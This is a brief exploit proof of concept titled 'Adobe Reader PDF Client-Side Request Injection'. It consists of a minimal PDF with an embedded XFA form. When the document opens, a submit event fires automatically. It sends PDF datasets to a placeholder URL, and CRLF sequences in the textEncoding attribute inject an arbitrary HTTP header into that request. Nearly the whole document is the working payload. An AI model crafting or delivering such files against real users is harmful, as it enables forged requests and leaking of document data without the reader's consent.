Adobe Reader PDF Client-Side Request Injection

`% a PDF file using an XFA  
% most whitespace can be removed (truncated to 570 bytes or so...)  
% Ange Albertini BSD Licence 2012  
% modified by InsertScript   
  
%PDF-1. % can be truncated to %PDF-\0  
  
1 0 obj <<>>  
stream  
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">  
<config><present><pdf>  
<interactive>1</interactive>  
</pdf></present></config>  
  
<template>  
<subform name="_">  
<pageSet/>  
<field id="Hello World!">  
<event activity="docReady" ref="$host" name="event__click">  
<submit   
textEncoding="UTF-16&#xD;&#xA;test: test&#xD;&#xA;"  
xdpContent="pdf datasets xfdf"  
target="http://example.com/test"/>  
</event>  
</field>  
</subform>  
</template>  
</xdp:xdp>  
endstream  
endobj  
  
trailer <<  
/Root <<  
/AcroForm <<  
/Fields [<<  
/T (0)  
/Kids [<<  
/Subtype /Widget  
/Rect []  
/T ()  
/FT /Btn  
>>]  
>>]  
/XFA 1 0 R  
>>  
/Pages <<>>  
>>  
>>  
  
`